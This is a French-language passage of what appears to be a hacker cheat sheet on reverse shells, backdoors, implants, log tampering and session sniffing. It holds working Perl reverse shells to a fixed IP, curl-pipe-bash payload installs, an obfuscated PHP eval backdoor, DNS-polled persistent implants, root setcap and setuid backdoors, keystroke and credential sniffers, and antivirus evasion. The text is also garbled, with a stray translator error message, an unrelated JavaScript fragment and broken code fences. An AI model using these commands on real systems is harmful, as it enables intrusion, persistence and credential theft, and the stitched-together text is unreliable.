perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Mettre à niveau un reverse shell vers un shell PTY**

Tous les reverse shells ci-dessus sont limités. Par exemple, *sudo bash* ou *top* ne fonctionneront pas. Pour les faire fonctionner, nous devons mettre à niveau le shell vers un véritable shell PTY :```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

<a id="reverse-shell-interactive"></a>
**5.ii.b. Mettre à niveau un reverse shell vers un shell entièrement interactif**

...et si nous voulons aussi utiliser Ctrl-C etc., alors nous devons aller jusqu'au bout et mettre à niveau le reverse shell vers un véritable shell interactif entièrement coloré :```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

The input chunk is empty — there is no content to translate. Please provide the actual Markdown text for chunk 324.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

---
<a id="backdoor"></a>
## 6. Backdoors

Voir [Reverse Shell / Dumb Shell](#reverse-shell) pour les reverse shells simples en une ligne.

<a id="gsnc"></a>
**6.i. Reverse shell avec gs-netcat**

Nous utilisons principalement le script de déploiement automatisé de gs-netcat : [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

ou déployez gsocket en exécutant votre propre serveur de déploiement :```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

Ou la version simpliste :```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

Comment ça fonctionne :
- La clé d'hôte SSHD n'est qu'une simple clé ed25519.
- N'importe quelle clé ed25519 peut être utilisée pour authentifier un utilisateur.
- SSHD vérifie `~/.ssh/authorized_keys` (mais cette astuce a été trop utilisée).
- Au lieu de cela, configurez SSHD pour qu'il vérifie également `/etc/ssh/sshd_host_ed25519_key.pub` pour les clés d'authentification de connexion.
- SSHD vérifiera désormais `~/.ssh/authorized_keys` _et_ `/etc/ssh/ssh_host_ed25519_key.pub` pour les clés de connexion valides.
- Utilisez la clé secrète `/etc/ssh/sshd_host_ed25519_key` pour vous connecter à la cible.

<a id="backdoor-network"></a>
**6.vi. Accès à distance à un réseau entier**

Installez [gs-netcat](https://github.com/hackerschoice/gsocket). Il crée un nœud de sortie SOCKS sur le LAN privé de l'hôte, accessible via le réseau de relais Global Socket sans avoir besoin d'exécuter votre propre serveur de relais (par exemple, accédez directement au LAN privé distant depuis votre poste de travail) :```sh
gs-netcat -l -S       # compromised Host

Lisez [Utiliser n'importe quel outil via Socks Proxy](#scan-proxy).

Autres méthodes :
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - notre propre article
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - de segfault.net vers n'importe quel réseau (interne).

<a id="php-backdoor"></a>
**6.v. La plus petite backdoor PHP**

Ajoutez cette ligne au début de n'importe quel fichier PHP :```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

Testez la backdoor :```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Déclenchez avec l'un de ces éléments pour exécuter une commande ou du code PHP :```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

L'implant demande le payload via une requête DNS TXT vers le domaine `b00m.team-teso.net`. Une fois déclenché, il crée `/tmp/.b00m` et notifie THC (via un callback app.interactsh.com). *Merci* d'utiliser votre propre domaine et de créer également votre propre payload. Exemple :```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0

ou changez le demo-payload pour un payload élaboré :
- Démarre un démon en arrière-plan pour interroger chaque heure pour l'exécution de commandes.
- Ne dépend que de bash, dig et base64.
- Se cache sous `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- L'exemple utilise à nouveau `b00m2.team-teso.net` et crée /tmp/.b00m chaque heure.

Coupez et collez ce qui suit dans le shell de la cible pour générer l'implant en une ligne :```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

...en PERL :
---
La même chose mais nécessitant seulement perl + bash (pas dig) :```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

Générez votre payload (`egg.py` sera exécuté sur la cible) :```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

<a id="ld-backdoor"></a>
**6.vii. Backdoor racine locale**

#### 1. Installer une backdoor dans le chargeur dynamique avec setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

// Safety checking function for command parsing
// Guarantees the tree structure isn't malformed/compromised

function safeCheck(parseTree, recursive = true) {
    // ... (recursive check logic)
}

#### 2. Le bon vieux b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

<a id="implant"></a>
**6.viii. Implant auto-extractible**

Créez un script shell auto-extractible à l'aide de [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (voir le source pour des exemples).

Exemple simple :```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

2. Renommez `egg.sh` en `update-for-fools.txt` et téléversez-le en tant que blob dans le dépôt GitHub de [Signal](https://www.signal.org/).

3. Ne trompez pas les gens pour mettre à jour Signal en utilisant cette commande ❤️ :```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

ou```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

Vérification rapide du système```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Trouver tous les répertoires inscriptibles :```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

- Utilisez [PassDetective](https://github.com/aydinnyunus/PassDetective) pour trouver les mots de passe dans ~/.*history
- Utilisez [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) pour extraire et déchiffrer les mots de passe Chrome depuis le processus en cours (Windows uniquement)
- Extrayez les mots de passe des navigateurs à l'aide de [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

En utilisant `grep` :```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

---
<a id="shell-hacks"></a>
## 8. Astuces Shell
<a id="shred"></a>
**8.i. Déchiqueter et effacer un fichier**```sh
shred -z foobar.txt

Remarque: Ou déployez vos fichiers dans le répertoire */dev/shm* afin qu'aucune donnée ne soit écrite sur le disque dur. Les données seront supprimées au redémarrage.

Remarque: Ou supprimez le fichier, puis remplissez tout le disque dur avec /dev/urandom, puis exécutez rm -rf sur le fichier dump.

<a id="restore-timestamp"></a>
**8.ii. Restaurer la date d'un fichier**

Supposons que vous ayez modifié */etc/passwd* mais que la date du fichier indique désormais que */etc/passwd* a été modifié. Utilisez *touch* pour changer la date du fichier en celle d'un autre fichier (dans cet exemple, */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Cela supprimera toute ligne contenant l'adresse IP `1.2.3.4` du fichier journal :```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

<a id="shell-hide-files"></a>
**8.iv. Masquer les fichiers à cet utilisateur sans privilèges root**

Notre répertoire de travail favori est */dev/shm/*. Cet emplacement est une mémoire volatile et sera perdu au redémarrage. NO LOGZ == NO CRIME.

Masquer les fichiers permanents :

Méthode 1 :```sh
alias ls='ls -I system-dev'

Méthode 3 :
Unix autorise des noms de fichiers avec à peu près n'importe quel caractère ASCII sauf 0x00. Essayez la tabulation (*\t*). Il se trouve que la plupart des administrateurs ne savent pas comment faire un cd dans un tel répertoire.```sh
mkdir $'\t'
cd $'\t'

<a id="nosudo"></a>
**8.vi. Changer d'utilisateur sans sudo/su**

Nécessaire pour prendre des captures d'écran de sessions X11 (c'est-à-dire `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` ou `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

Nettoyez l'[en-tête UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) et le 2e en-tête ELF pour tromper l'antivirus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Vérifiez que le binaire ne peut pas être dépaqueté:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

La variante la plus courte possible est (exemple):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

La backdoor peut également être envoyée via SSH directement dans la mémoire de la machine distante, puis exécutée :```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

---
<a id="crypto"></a>
## 9. Crypto
<a id="gen-password"></a>
**9.i. Générer un mot de passe aléatoire rapide**

Idéal pour des mots de passe rapides sans élément humain.```sh
openssl rand -base64 24

ou le rendre alphanumérique```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

Montage:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

<a id="encfs"></a>
**9.ii.b. Systèmes de fichiers chiffrés transportables Linux - EncFS**

Créez ```.sec``` et stockez les données chiffrées dans ```.raw``` :```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

<a id="encrypting-file"></a>
**9.iii Chiffrer un fichier**

Chiffrez vos 0-Days et fichiers journaux avant de les transférer - s'il vous plaît. (et choisissez votre propre mot de passe) :```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

---
<a id="sniffing"></a>
## 10. Reniflage et détournement de session
<a id="session-sniffing"></a>
**10.i Renifler la session SHELL d'un utilisateur**

Une commande d'une ligne pour `~/.bashrc` afin de renifler les frappes clavier de l'utilisateur et de les enregistrer dans `~/.config/.pty/.@*`. Utile lorsque l'on n'est pas root et que l'on doit capturer les identifiants sudo/ssh/git de l'utilisateur. 

Déploiement : Copiez-collez ce qui suit sur la cible et suivez les instructions :```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

Démarrez un dtrace et enregistrez dans /tmp/.log :```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

Découvrez nos propres [outils eBPF pour renifler les mots de passe sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Renifler la session SSH, bash ou SSHD d'un utilisateur avec strace**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Sniff 7770 (exemple) :```shell
tit write 7770